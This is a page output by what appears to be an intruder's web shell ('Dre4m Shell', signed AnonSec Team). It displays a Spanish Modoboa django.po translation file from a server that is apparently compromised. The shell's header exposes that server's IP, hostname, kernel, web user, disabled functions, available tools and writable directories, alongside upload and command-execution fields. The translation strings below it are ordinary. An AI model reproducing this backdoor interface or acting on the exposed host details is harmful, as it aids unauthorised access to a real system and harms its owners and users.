Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.223.159.143
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib/python3.5/site-packages/modoboa/locale/es/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib/python3.5/site-packages/modoboa/locale/es/LC_MESSAGES/django.po
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# 
# Translators:
# Adrian Araujo <ragtime.sp@gmail.com>, 2016
# Carlos Araya <caraya99@gmail.com>, 2017
# Enrique Garcia <ea2809@gmail.com>, 2016
# Evilham <github@evilham.com>, 2017
# Luis Fajardo López <luis@fajardolopez.com>, 2018
# Martí Cardús <git@acs.li>, 2017
# Martin Acosta <tinchobmx@gmail.com>, 2017
# Pedro Gracia <lasarux@neuroomante.com>, 2011-2013
# Pedro Gracia <pedro.gracia@impulzia.com>, 2010-2011
msgid ""
msgstr ""
"Project-Id-Version: Modoboa\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-05-06 13:15+0200\n"
"PO-Revision-Date: 2020-05-06 11:16+0000\n"
"Last-Translator: Antoine Nguyen <tonio@ngyn.org>\n"
"Language-Team: Spanish (http://www.transifex.com/tonio/modoboa/language/es/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: es\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: core/app_settings.py:26
msgid "User profile"
msgstr "Perfil de usuario"

#: core/app_settings.py:39
msgid "Authentication"
msgstr "Autenticación"

#: core/app_settings.py:42
msgid "Authentication type"
msgstr "Tipo de autenticación"

#: core/app_settings.py:43
msgid "Local"
msgstr "Local"

#: core/app_settings.py:46
msgid "The backend used for authentication"
msgstr "El sistema usado para autenticación"

#: core/app_settings.py:51
msgid "Default password scheme"
msgstr "Esquema de contraseña por defecto"

#: core/app_settings.py:56
msgid "Scheme used to crypt mailbox passwords"
msgstr "Esquema usado para cifrar las contraseñas del mailbox"

#: core/app_settings.py:60
msgid "Rounds"
msgstr "Rondas"

#: core/app_settings.py:63
msgid ""
"Number of rounds to use (only used by sha256crypt and sha512crypt). Must be "
"between 1000 and 999999999, inclusive."
msgstr "Número de rondas a usar (sólo utilizado por sha256crypr y sha512crypt). Debe estar entre 1000 y 999999999, incluído."

#: core/app_settings.py:69
msgid "Update password scheme at login"
msgstr ""

#: core/app_settings.py:72
msgid "Update user password at login to use the default password scheme"
msgstr "Forzar actualización de contraseña al acceder para usar el esquema de contraseñas"

#: core/app_settings.py:77
msgid "Default password"
msgstr "Contraseña por defecto"

#: core/app_settings.py:80
msgid "Default password for automatically created accounts."
msgstr "Contraseña por defecto para cuentas creadas automáticamente."

#: core/app_settings.py:84
msgid "Random password length"
msgstr "Longitud de contraseña aleatoria"

#: core/app_settings.py:88
msgid "Length of randomly generated passwords."
msgstr "Longitud de las contraseñas generadas aleatoriamente."

#: core/app_settings.py:92
msgid "Update password service URL"
msgstr ""

#: core/app_settings.py:96
msgid ""
"The URL of an external page where users will be able to update their "
"password. It applies only to non local users, ie. those automatically "
"created after a successful external authentication (LDAP, SMTP)."
msgstr ""

#: core/app_settings.py:104
msgid "Password recovery announcement"
msgstr ""

#: core/app_settings.py:109
msgid "A temporary message that will be displayed on the reset password page."
msgstr ""

#: core/app_settings.py:115
msgid "Enable password recovery by SMS"
msgstr ""

#: core/app_settings.py:118
msgid "Enable password recovery by SMS for users who filled a phone number."
msgstr ""

#: core/app_settings.py:124
msgid "SMS provider"
msgstr ""

#: core/app_settings.py:127
msgid "Choose a provider to send password recovery SMS"
msgstr ""

#: core/app_settings.py:133
msgid "LDAP settings"
msgstr "Configuración de LDAP"

#: core/app_settings.py:136
msgid "Server address"
msgstr "Dirección del servidor"

#: core/app_settings.py:139
msgid "The IP address or the DNS name of the LDAP server"
msgstr "La dirección IP del servidor de nombres (DNS) del servidor LDAP"

#: core/app_settings.py:143
msgid "Server port"
msgstr "Puerto del servidor"

#: core/app_settings.py:145
msgid "The TCP port number used by the LDAP server"
msgstr "Número de puerto TCP usado por el servidor LDAP"

#: core/app_settings.py:149
msgid "Enable secondary server (fallback)"
msgstr ""

#: core/app_settings.py:152
msgid ""
"Enable a secondary LDAP server which will be used if the primary one fails"
msgstr ""

#: core/app_settings.py:158
msgid "Secondary server address"
msgstr ""

#: core/app_settings.py:161
msgid "The IP address or the DNS name of the seondary LDAP server"
msgstr ""

#: core/app_settings.py:165
msgid "Secondary server port"
msgstr ""

#: core/app_settings.py:168
msgid "The TCP port number used by the LDAP secondary server"
msgstr ""

#: core/app_settings.py:172
msgid "Use a secured connection"
msgstr "Usa una conexión segura"

#: core/app_settings.py:176
msgid "Use an SSL/STARTTLS connection to access the LDAP server"
msgstr "Usa una conexión SSL/STARTTLS para acceder al servidor LDAP"

#: core/app_settings.py:180
msgid "Active Directory"
msgstr "Directorio Activo"

#: core/app_settings.py:183
msgid "Tell if the LDAP server is an Active Directory one"
msgstr "Decir si el servidor de LDAP es uno del tipo Directorio Activo"

#: core/app_settings.py:187
msgid "Administrator groups"
msgstr "Administrador de grupos"

#: core/app_settings.py:190
msgid ""
"Members of those LDAP Posix groups will be created as domain administrators."
" Use ';' characters to separate groups."
msgstr "Los miembros de esos grupos Posix LDAP serán creados como administradores de dominio. Use caracteres \";\" para separar los grupos."

#: core/app_settings.py:197
msgid "Group type"
msgstr "Tipo de grupo"

#: core/app_settings.py:201
msgid "The LDAP group type to use with your directory."
msgstr "El tipo de LDAP para usar en el directorio"

#: core/app_settings.py:206
msgid "Groups search base"
msgstr "Base para la búsqueda de grupos"

#: core/app_settings.py:209
msgid "The distinguished name of the search base used to find groups"
msgstr "El distinguido nombre de la búsqueda base usada para encontrar grupos"

#: core/app_settings.py:215
msgid "Password attribute"
msgstr "Atributo de la contraseña"

#: core/app_settings.py:217
msgid "The attribute used to store user passwords"
msgstr "El atributo usado para guardar las contraseñas del usuario"

#: core/app_settings.py:222
msgid "LDAP authentication settings"
msgstr ""

#: core/app_settings.py:225
msgid "Authentication method"
msgstr "Método de autenticación"

#: core/app_settings.py:226
msgid "Search and bind"
msgstr "Buscar y unir"

#: core/app_settings.py:227
msgid "Direct bind"
msgstr "Unión directa"

#: core/app_settings.py:229
msgid "Choose the authentication method to use"
msgstr "Elegir el método de autenticación a usar"

#: core/app_settings.py:233 core/app_settings.py:287
msgid "Bind DN"
msgstr "Unir a DN"

#: core/app_settings.py:236 core/app_settings.py:290
msgid ""
"The distinguished name to use when binding to the LDAP server. Leave empty "
"for an anonymous bind"
msgstr "El nombre distinguido a usar cuando nos unimos al servidor LDAP. Dejar vació para una unión anónima"

#: core/app_settings.py:243 core/app_settings.py:297
msgid "Bind password"
msgstr "Unir contraseña"

#: core/app_settings.py:246 core/app_settings.py:300
msgid "The password to use when binding to the LDAP server (with 'Bind DN')"
msgstr "La contraseña a usar cuando nos unimos al servidor LDAP (con 'Unir a DN')"

#: core/app_settings.py:254 core/app_settings.py:346
msgid "Users search base"
msgstr "Base para la búsqueda de usuarios"

#: core/app_settings.py:257 core/app_settings.py:349
msgid "The distinguished name of the search base used to find users"
msgstr "El distinguido nombre de la búsqueda base usada para encontrar usuarios"

#: core/app_settings.py:263 core/app_settings.py:355
msgid "Search filter"
msgstr "Filtro de búsqueda"

#: core/app_settings.py:266 core/app_settings.py:358
msgid ""
"An optional filter string (e.g. '(objectClass=person)'). In order to be "
"valid, it must be enclosed in parentheses."
msgstr "Una cadena de filtro opcional (p.e. '(objectClass=person)'). Para que sea válido tiene que ser encerrado entre paréntesis."

#: core/app_settings.py:273
msgid "User DN template"
msgstr "Plantilla DN del usuario"

#: core/app_settings.py:276
#, python-format
msgid ""
"The template used to construct a user's DN. It should contain one "
"placeholder (ie. %(user)s)"
msgstr "La plantilla usada para contriunr un DN de usuario. Debería contener una cadena reemplazables (p.e. %(user)s)"

#: core/app_settings.py:284
msgid "LDAP synchronization settings"
msgstr ""

#: core/app_settings.py:308
msgid "Enable export to LDAP"
msgstr ""

#: core/app_settings.py:311
msgid ""
"Enable automatic synchronization between local database and LDAP directory"
msgstr ""

#: core/app_settings.py:317
msgid "Delete remote LDAP account when local account is deleted"
msgstr ""

#: core/app_settings.py:321
msgid ""
"Delete remote LDAP account when local account is deleted, otherwise it will "
"be disabled."
msgstr ""

#: core/app_settings.py:327
msgid "Account DN template"
msgstr ""

#: core/app_settings.py:330
#, python-format
msgid ""
"The template used to construct an account's DN. It should contain one "
"placeholder (ie. %(user)s)"
msgstr ""

#: core/app_settings.py:337
msgid "Enable import from LDAP"
msgstr ""

#: core/app_settings.py:340
msgid "Enable account synchronization from LDAP directory to local database"
msgstr ""

#: core/app_settings.py:365
msgid "Username attribute"
msgstr ""

#: core/app_settings.py:368
msgid "The name of the LDAP attribute where the username can be found."
msgstr ""

#: core/app_settings.py:373
msgid "Enable Dovecot LDAP sync"
msgstr ""

#: core/app_settings.py:376
msgid "LDAP authentication settings will be applied to Dovecot configuration."
msgstr ""

#: core/app_settings.py:382
msgid "Dovecot LDAP config file"
msgstr ""

#: core/app_settings.py:386
msgid ""
"Location of the configuration file which contains Dovecot LDAP settings."
msgstr ""

#: core/app_settings.py:391 core/templates/core/dashboard.html:5
msgid "Dashboard"
msgstr "Panel de Control"

#: core/app_settings.py:394
msgid "Custom RSS feed"
msgstr "Agregación RSS personalizada"

#: core/app_settings.py:397
msgid "Display custom RSS feed to resellers and domain administrators"
msgstr "Mostrar una fuente de agregación RSS personalizada a revendedores y administradores de dominio"

#: core/app_settings.py:402
msgid "Hide features widget"
msgstr "Ocultar widget de características"

#: core/app_settings.py:405
msgid "Hide features widget for resellers and domain administrators"
msgstr "Ocultar el widget de características a revendedores y administradores de dominio"

#: core/app_settings.py:409
msgid "Notifications"
msgstr "Notificaciones"

#: core/app_settings.py:412
msgid "Sender address"
msgstr "Dirección del remitente"

#: core/app_settings.py:415
msgid "Email address used to send notifications."
msgstr "Dirección de email usada para mandar notificaciones"

#: core/app_settings.py:419
msgid "Public API"
msgstr "API pública"

#: core/app_settings.py:422
msgid "Enable communication"
msgstr "Establecer comunicación"

#: core/app_settings.py:425
msgid "Enable communication with Modoboa public API"
msgstr "Establecer comunicación con la API publica de Modoboa"

#: core/app_settings.py:429
msgid "Check new versions"
msgstr "Comprobar nuevas versiones"

#: core/app_settings.py:432
msgid "Automatically checks if a newer version is available"
msgstr "Verificar automáticamente si hay una nueva versión disponible"

#: core/app_settings.py:436
msgid "Send an email when new versions are found"
msgstr ""

#: core/app_settings.py:439
msgid "Send an email to notify admins about new versions"
msgstr ""

#: core/app_settings.py:443
msgid "Recipient"
msgstr ""

#: core/app_settings.py:446
msgid "Recipient of new versions notification emails."
msgstr ""

#: core/app_settings.py:451
msgid "Send statistics"
msgstr "Enviar estadísticas"

#: core/app_settings.py:454
msgid "Send statistics to Modoboa public API (counters and used extensions)"
msgstr "Enviar estadísticas a la API pública de Modoboa (contadores y extensiones usadas)"

#: core/app_settings.py:458
msgid "Miscellaneous"
msgstr "Otros"

#: core/app_settings.py:461
msgid "Inactive account threshold"
msgstr "Límite para cuentas inactivas"

#: core/app_settings.py:464
msgid ""
"An account with a last login date greater than this threshold (in days) will"
" be considered as inactive"
msgstr "Una cuenta inactiva con una fecha de inicio de sesión previa a este límite (en días) se considerará como cuenta inactiva"

#: core/app_settings.py:470
msgid "Top notifications check interval"
msgstr "Intervalo de tiempo para notificaciones superiores"

#: core/app_settings.py:473
msgid "Interval between two top notification checks (in seconds)"
msgstr "Intervalo entre dos notificaciones superiores (en segundos)"

#: core/app_settings.py:478
msgid "Maximum log record age"
msgstr "Máximo tiempo de almacenamiento del log"

#: core/app_settings.py:480
msgid "The maximum age in days of a log record"
msgstr "El tiempo máximo de almacenamiento del log en días"

#: core/app_settings.py:484
msgid "Items per page"
msgstr "Items por página"

#: core/app_settings.py:486
msgid "Number of displayed items per page"
msgstr "Número de elementos mostrado por página"

#: core/app_settings.py:490
msgid "Default top redirection"
msgstr "Redirección principal por defecto"

#: core/app_settings.py:494
msgid "The default redirection used when no application is specified"
msgstr "La redirección que será usada cuando ninguna aplicación sea especificada."

#: core/app_settings.py:548 core/app_settings.py:556 core/app_settings.py:564
msgid "Invalid syntax"
msgstr "Sintaxis inválida"

#: core/app_settings.py:570
msgid "Invalid rounds number"
msgstr "Número de rondas inváldo"

#: core/app_settings.py:595 core/app_settings.py:597 core/app_settings.py:608
msgid "This field is required"
msgstr "Este campo es obligatorio"

#: core/apps.py:18
msgid "General"
msgstr "General"

#: core/checks/settings_checks.py:6
msgid ""
"You have USE_TZ set to False, this may result in issues during transitions "
"between summer/winter time (ie the same local time occuring twice due to "
"clock change)."
msgstr "A fijado USE_TZ como falso, lo que puede llevar a problemas en la transición entre los horarios de verano e invierno (p.ej., que la misma hora exista dos veces debido a cambios del reloj)."

#: core/checks/settings_checks.py:9
msgid "Set `USE_TZ = True` in settings.py"
msgstr "Ajuste `USE_TZ = True` en settings.py"

#: core/constants.py:6
msgid "Simple user"
msgstr "Usuario normal"

#: core/constants.py:7
msgid "Domain administrator"
msgstr "Administrador del dominio"

#: core/constants.py:8
msgid "Reseller"
msgstr "Revendedor"

#: core/constants.py:9
msgid "Super administrator"
msgstr "Super administrador"

#: core/constants.py:52 lib/form_utils.py:389
msgid "No"
msgstr "No "

#: core/constants.py:102
msgid "Choose a provider"
msgstr ""

#: core/constants.py:107
msgid "Dummy"
msgstr ""

#: core/forms.py:21
msgid "Username"
msgstr "Nombre de usuario"

#: core/forms.py:25
msgid "Password"
msgstr "Contraseña"

#: core/forms.py:38
msgid "Old password"
msgstr "Contraseña anterior"

#: core/forms.py:42
msgid "New password"
msgstr "Nueva contraseña"

#: core/forms.py:46
msgid "Confirmation"
msgstr "Confirmación"

#: core/forms.py:74
msgid "Old password mismatchs"
msgstr "La contraseña no concuerda con la anterior"

#: core/forms.py:83
msgid "Passwords mismatch"
msgstr "Las contraseñas no coinciden"

#: core/forms.py:103
msgid "Enable API access"
msgstr "Habilitar acceso al API"

#: core/forms.py:137
msgid "Verification code"
msgstr ""

#: core/forms.py:148
msgid "Invalid code"
msgstr ""

#: core/handlers.py:36
msgid "added"
msgstr "añadido"

#: core/handlers.py:39
msgid "modified"
msgstr "modificado"

#: core/handlers.py:41
#, python-format
msgid "%(object)s '%(name)s' %(action)s by user %(user)s"
msgstr "%(object)s '%(name)s' %(action)s por el usuario %(user)s"

#: core/handlers.py:63
#, python-format
msgid "%(object)s '%(name)s' %(action)s by "
msgstr "%(object)s '%(name)s' %(action)s por "

#: core/handlers.py:65
msgid "deleted"
msgstr "eliminado"

#: core/handlers.py:69
msgid "user {}"
msgstr "usuario {}"

#: core/handlers.py:71
msgid "management command"
msgstr "comando de administración"

#: core/handlers.py:95
msgid "You can't delete your own account"
msgstr "No puede eliminar su propia cuenta"

#: core/handlers.py:131
msgid "One or more updates are available"
msgstr "Una o más actualizaciones están disponibles"

#: core/management/commands/communicate_with_public_api.py:44
msgid "[modoboa] Update(s) available"
msgstr ""

#: core/models.py:55
msgid "Allow mailboxes access"
msgstr "Permitir acceso al  buzón"

#: core/models.py:57
msgid "Allow this administrator to access user mailboxes"
msgstr "Permitir a este administrador acceso al buzon de los usuarios"

#: core/models.py:60
msgid "password"
msgstr "contraseña"

#: core/models.py:63
msgid "language"
msgstr "idioma"

#: core/models.py:66
msgid "Prefered language to display pages."
msgstr "Idioma preferido para mostrar las páginas"

#: core/models.py:70
msgid "Phone number"
msgstr "Numero de telefono "

#: core/models.py:72
msgid "Secondary email"
msgstr "Email secundario"

#: core/models.py:75
msgid "An alternative e-mail address, can be used for recovery needs."
msgstr "Email alternativo, puede ser usado para recuperación."

#: core/models.py:126
msgid "Failed to update password: LDAP module not installed"
msgstr "Falló al actualizar la contraseña: módulo LDAP no instalado"

#: core/models.py:155
msgid "account"
msgstr "cuenta"

#: core/models.py:282
msgid "Unknown"
msgstr "Desconocido"

#: core/models.py:316
msgid "Invalid line"
msgstr "Línea inválida"

#: core/models.py:324
msgid "You can't import an account with a role greater than yours"
msgstr "No puede importar una cuenta con un rol mayor que el suyo"

#: core/models.py:339
#, python-format
msgid "The simple user '%s' must have a valid email address"
msgstr "El usuario normal '%s' debe tener una dirección de email válida"

#: core/models.py:344
#, python-format
msgid "username and email fields must not differ for '%s'"
msgstr "Los campos de nombre de usuario y de email no deben ser diferentes para '%s'"

#: core/password_validation.py:24
msgid "Password must contain at least {} digit."
msgid_plural "Password must contain at least {} digits."
msgstr[0] "La contraseña debe contener al menos {} dígito."
msgstr[1] "La contraseña debe contener al menos {} dígitos."

#: core/password_validation.py:34
msgid "Password must contain at least {} lowercase letter."
msgid_plural "Password must contain at least {} lowercase letters."
msgstr[0] "La contraseña debe tener al menos {} minúscula."
msgstr[1] "La contraseña debe tener al menos {} minúsculas."

#: core/password_validation.py:45
msgid "Password must contain at least {} uppercase letter."
msgid_plural "Password must contain at least {} uppercase letters."
msgstr[0] "La contraseña debe tener al menos {} mayúscula."
msgstr[1] "La contraseña debe tener al menos {} mayúsculas."

#: core/password_validation.py:57
msgid "Password must contain at least {} special character."
msgid_plural "Password must contain at least {} special characters."
msgstr[0] "La contraseña debe tener al menos {} carácter especial."
msgstr[1] "La contraseña debe tener al menos {} caracteres especiales."

#: core/password_validation.py:65
msgid "Your password must contain a combination of different character types."
msgstr "Su contraseña debe contener una combinación de diferentes tipos de carácter."

#: core/sms_backends/ovh.py:19
msgid "API endpoint"
msgstr ""

#: core/sms_backends/ovh.py:22
msgid "OVH Europe"
msgstr ""

#: core/sms_backends/ovh.py:23
msgid "OVH US"
msgstr ""

#: core/sms_backends/ovh.py:24
msgid "OVH North-America"
msgstr ""

#: core/sms_backends/ovh.py:25
msgid "So you Start Europe"
msgstr ""

#: core/sms_backends/ovh.py:26
msgid "So you Start North America"
msgstr ""

#: core/sms_backends/ovh.py:27
msgid "Kimsufi Europe"
msgstr ""

#: core/sms_backends/ovh.py:28
msgid "Kimsufi North America"
msgstr ""

#: core/sms_backends/ovh.py:35
msgid "Application key"
msgstr ""

#: core/sms_backends/ovh.py:42
msgid "Application secret"
msgstr ""

#: core/sms_backends/ovh.py:50
msgid "Consumer key"
msgstr ""

#: core/templates/core/_current_features.html:6
msgid "Features looking for sponsoring"
msgstr "Características que necesitan patrocinio "

#: core/templates/core/_current_features.html:12
msgid "Goal:"
msgstr "Objetivo:"

#: core/templates/core/_current_features.html:18
msgid "More"
msgstr "Más"

#: core/templates/core/_current_features.html:22
msgid "Nothing to sponsor yet."
msgstr "Nada para patrocinar actualmente."

#: core/templates/core/_latest_news_widget.html:5
msgid "Latest news"
msgstr "Lo más receinte"

#: core/templates/core/_latest_news_widget.html:19
msgid ""
"Visit the <a href=\"https://modoboa.org/blog/\" target=\"_blank\">official "
"weblog</a> for more information."
msgstr "Visite el <a href=\"https://modoboa.org/blog/\" target=\"_blank\">weblog oficial</a> para más información."

#: core/templates/core/api_access.html:3
msgid "API access"
msgstr "Acceso API"

#: core/templates/core/api_access.html:3
msgid "Control your access to Modoboa API"
msgstr "Controla tu acceso al API de Modoboa"

#: core/templates/core/api_access.html:7
#, python-format
msgid ""
"A documentation of the API is available <strong><a href=\"%(url)s\" "
"target=\"_blank\">here</a></strong>."
msgstr "La documentación de la API está disponible <strong><a href=\"%(url)s\" target=\"_blank\">aquí</a></strong>."

#: core/templates/core/api_access.html:14
msgid "API access token"
msgstr "Token de acceso a la API"

#: core/templates/core/api_access.html:35
#: core/templates/core/user_profile.html:19 lib/form_utils.py:354
msgid "Update"
msgstr "Actualizar"

#: core/templates/core/dashboard.html:11
#, python-format
msgid "Hello %(user)s."
msgstr "Hola %(user)s."

#: core/templates/core/information.html:2 core/templatetags/core_tags.py:62
msgid "Information"
msgstr "Información"

#: core/templates/core/information.html:2
msgid "Various information about Modoboa"
msgstr "Información varia sobre Modoboa"

#: core/templates/core/information.html:5
msgid "One or more updates are available!"
msgstr "Hay una o más actualizaciones disponibles"

#: core/templates/core/information.html:6
msgid "Check the following list to find the component(s) that can be updated."
msgstr "Comprueba la siguiente lista para encontrar los componentes que pueden ser actualizados."

#: core/templates/core/information.html:10
msgid "Applications"
msgstr "Aplicaciones"

#: core/templates/core/information.html:14
#: core/templates/core/information.html:36
msgid "Name"
msgstr "Nombre"

#: core/templates/core/information.html:15
msgid "Installed version"
msgstr "Versión instalada"

#: core/templates/core/information.html:16
msgid "Last version"
msgstr "Última versión"

#: core/templates/core/information.html:17
msgid "Description"
msgstr "Descripción"

#: core/templates/core/information.html:32
msgid "Active users"
msgstr "Usuarios activos"

#: core/templates/core/information.html:37
msgid "Role"
msgstr "Función"

#: core/templates/core/information.html:38
msgid "Last login"
msgstr "Último acceso"

#: core/templates/core/logs.html:2 core/templatetags/core_tags.py:66
msgid "Logs"
msgstr "Logs"

#: core/templates/core/logs.html:2
msgid "Previously on Modoboa..."
msgstr "Anteriormente en Modoboa..."

#: core/templates/core/logs.html:6 lib/templatetags/lib_tags.py:106
msgid "Date"
msgstr "Fecha"

#: core/templates/core/logs.html:7
msgid "Level"
msgstr "Nivel"

#: core/templates/core/logs.html:8
msgid "Logger"
msgstr "Logger"

#: core/templates/core/logs.html:9
msgid "Message"
msgstr "Mensaje"

#: core/templates/core/notifications/update_available.html:3
msgid ""
"\n"
"  The following update is available:\n"
msgid_plural ""
"\n"
"  The following updates are available:\n"
msgstr[0] ""
msgstr[1] ""

#: core/templates/core/parameters.html:2 core/templatetags/core_tags.py:71
msgid "Parameters"
msgstr "Parámetros"

#: core/templates/core/parameters.html:2
msgid "Configure Modoboa"
msgstr "Configurar Modoboa"

#: core/templates/core/parameters.html:6
#: core/templates/core/user_preferences.html:10
msgid "Save"
msgstr "Guardar"

#: core/templates/core/settings_header.html:5
msgid "Modoboa settings"
msgstr "Configuración de Modoboa"

#: core/templates/core/user_index.html:4 core/templatetags/core_tags.py:90
msgid "Settings"
msgstr "Configuración"

#: core/templates/core/user_preferences.html:2
#: core/templatetags/core_tags.py:120
msgid "Preferences"
msgstr "Preferencias"

#: core/templates/core/user_preferences.html:2
msgid "Customize Modoboa"
msgstr "Personalizar Modoboa"

#: core/templates/core/user_preferences.html:14
msgid "No preferences available."
msgstr "No hay preferencias disponibles."

#: core/templates/core/user_profile.html:3 core/templatetags/core_tags.py:116
msgid "Profile"
msgstr "Perfil"

#: core/templates/core/user_profile.html:3
msgid "Update your personal information"
msgstr "Actualizar su información personal"

#: core/templates/core/user_profile.html:13
msgid "Click here to update your password"
msgstr ""

#: core/templatetags/core_tags.py:34
msgid "Modoboa"
msgstr "Modoboa"

#: core/templatetags/core_tags.py:102
msgid "Logout"
msgstr "Salir"

#: core/templatetags/core_tags.py:127
msgid "API"
msgstr "API"

#: core/utils.py:32
msgid "The core part of Modoboa"
msgstr "El núcleo de Modoboa"

#: core/views/admin.py:43
msgid "Parameters saved"
msgstr "Parámetros guardados"

#: core/views/auth.py:59
#, python-format
msgid "Password scheme mismatch. Updating %s password"
msgstr "No se ajusta al esquema de contraseña. Actualizando la contraseña de %s "

#: core/views/auth.py:66
#, python-format
msgid "Password hash parameter missmatch. Updating %s password"
msgstr ""

#: core/views/auth.py:82
#, python-format
msgid "User '%s' successfully logged in"
msgstr "Usuario '%s' ha entrado con éxito"

#: core/views/auth.py:90
msgid "Your username and password didn't match. Please try again."
msgstr "Su nombre de usuario y contraseña no concuerdan. Por favor, inténtelo de nuevo."

#: core/views/auth.py:125
msgid "User '{}' successfully logged out"
msgstr "Usuario '{}' ha salido con éxito"

#: core/views/auth.py:170 core/views/auth.py:225
msgid "Please use the following code to recover your Modoboa password: {}"
msgstr ""

#: core/views/user.py:53
msgid "Profile updated"
msgstr "Perfil actualizado"

#: core/views/user.py:81
msgid "Preferences saved"
msgstr "Preferencias guardadas"

#: core/views/user.py:103
msgid "Access updated"
msgstr "Acceso actualizado"

#: lib/db_utils.py:23
#, python-format
msgid "Connection to database %s not configured"
msgstr "Conexión a la base de datos %s no configurada"

#: lib/email_utils.py:141 lib/email_utils.py:360
msgid "unable to determine encoding of string"
msgstr "No es posible determinar la codificación de la cadena"

#: lib/exceptions.py:67
#, python-format
msgid "Permission denied: %s"
msgstr "Permiso denegado: %s"

#: lib/exceptions.py:68
msgid "Permission denied"
msgstr "Permiso denegado"

#: lib/fields.py:15 lib/validators.py:14
msgid "Enter a valid domain name"
msgstr "Introduzca un nombre dominio válido"

#: lib/fields.py:44 lib/fields.py:58
msgid "Enter a valid email address."
msgstr "Intriduzca un email válido"

#: lib/form_utils.py:77 templates/registration/password_reset_confirm.html:12
#: templates/registration/password_reset_confirm_code.html:25
#: templates/registration/password_reset_form.html:29
msgid "Submit"
msgstr "Enviar"

#: lib/form_utils.py:110 lib/form_utils.py:113
msgid "Invalid request"
msgstr "Petición inválida"

#: lib/form_utils.py:388
msgid "Yes"
msgstr "Sí"

#: lib/ldap_utils.py:129
msgid "Failed to update password: {}"
msgstr "No se ha podido actualizar la contraseña: {}"

#: lib/templatetags/lib_tags.py:104
msgid "From"
msgstr "Desde"

#: lib/templatetags/lib_tags.py:105
msgid "To"
msgstr "Hasta"

#: lib/templatetags/lib_tags.py:107 templates/common/email_searchbar.html:17
msgid "Subject"
msgstr "Tema"

#: templates/404.html:4 templates/500.html:4
msgid "Sorry"
msgstr "Lo siento"

#: templates/404.html:5
msgid "The requested page does not exist."
msgstr "La página pedida no existe."

#: templates/500.html:5
msgid "An internal error occured."
msgstr "Ocurrió un error interno."

#: templates/common/email_searchbar.html:5
msgid "Search..."
msgstr "Buscar..."

#: templates/common/email_searchbar.html:10
msgid "From address"
msgstr "De la dirección"

#: templates/common/email_searchbar.html:33
msgid "Both"
msgstr "Ambos"

#: templates/common/error.html:4
msgid "Error:"
msgstr "Error:"

#: templates/common/generic_field.html:11
#: templates/common/generic_fields_group.html:8
msgid "Help:"
msgstr "Ayuda:"

#: templates/common/generic_modal.html:6
#: templates/common/generic_modal.html:13 templates/common/wizard_forms.html:6
#: templates/common/wizard_forms.html:27
msgid "Close"
msgstr "Cerrar"

#: templates/common/wizard_forms.html:31
msgid "Previous"
msgstr "Anterior"

#: templates/common/wizard_forms.html:32
msgid "Next"
msgstr "Siguiente"

#: templates/registration/base.html:8
msgid "Welcome to Modoboa"
msgstr "Bienvenido a Modoboa"

#: templates/registration/login.html:21
msgid "Remember me"
msgstr "Recuerdame"

#: templates/registration/login.html:23
msgid "Log in"
msgstr "Entrar"

#: templates/registration/login.html:24
#: templates/registration/password_reset_form.html:17
msgid "Forgot password?"
msgstr "¿Ha olvidado su contraseña?"

#: templates/registration/password_reset_complete.html:8
#, python-format
msgid ""
"Your password has been set. You may go ahead and <a href=\"%(url)s\">sign "
"in</a> now."
msgstr "Ha cambiado su contraseña. Proceda e <a href=\"%(url)s\">inicie sesión</a> ahora."

#: templates/registration/password_reset_confirm.html:7
msgid "Change password"
msgstr "Cambiar contraseña"

#: templates/registration/password_reset_confirm.html:17
msgid ""
"The password reset link was invalid, possibly because it has already been "
"used. Please request a new password reset."
msgstr "El enlace de restauración de contraseña es inválido, tal vez ya fue utilizado. Por favor solicite la restauración de contraseña de nuevo."

#: templates/registration/password_reset_confirm_code.html:20
msgid "Enter the code you've just received by SMS"
msgstr ""

#: templates/registration/password_reset_confirm_code.html:27
msgid "Resend code"
msgstr ""

#: templates/registration/password_reset_done.html:7
msgid ""
"<p>We've emailed you instructions for setting your password, if an account "
"exists with the email you entered. You should receive them shortly.</p> "
"<p>If you don't receive an email, please make sure you've entered your "
"primary address, and check your spam folder.</p>"
msgstr "<p>Si existe una cuenta con el correo electrónico introducido, recibirá en breves instantes instrucciones via email para cambiar su contraseña.</p><p>Si no recibe el correo, por favor compruebe que la dirección de correo electrónico introducida es su dirección principal y revise su directorio de correo basura.</p>"

#: templates/registration/password_reset_email.html:4
#, python-format
msgid ""
"To initiate the password reset process for your %(username)s Modoboa "
"account, click the link below:"
msgstr "Para empezar el proceso de restauración de contraseña para su %(username)s cuenta de Modoboa, haga click en el enlace siguiente:"

#: templates/registration/password_reset_email.html:10
msgid ""
"If clicking the link above doesn't work, please copy and paste the URL in a "
"new browser window instead."
msgstr "Si no puede hacer click en el enlace anterior, por favor copie y pegue la URL en una ventana nueva del navegador."

#: templates/registration/password_reset_email.html:14
msgid "Sincerely, The Modoboa Team."
msgstr "Saludos cordiales, el equipo de Modoboa."

#: templates/registration/password_reset_form.html:24
msgid "Please fill-in your primary email address"
msgstr ""

#: templates/registration/password_reset_subject.txt:3
msgid "Modoboa password reset"
msgstr "Restauración de contraseña de Modoboa"

Anon7 - 2022
AnonSec Team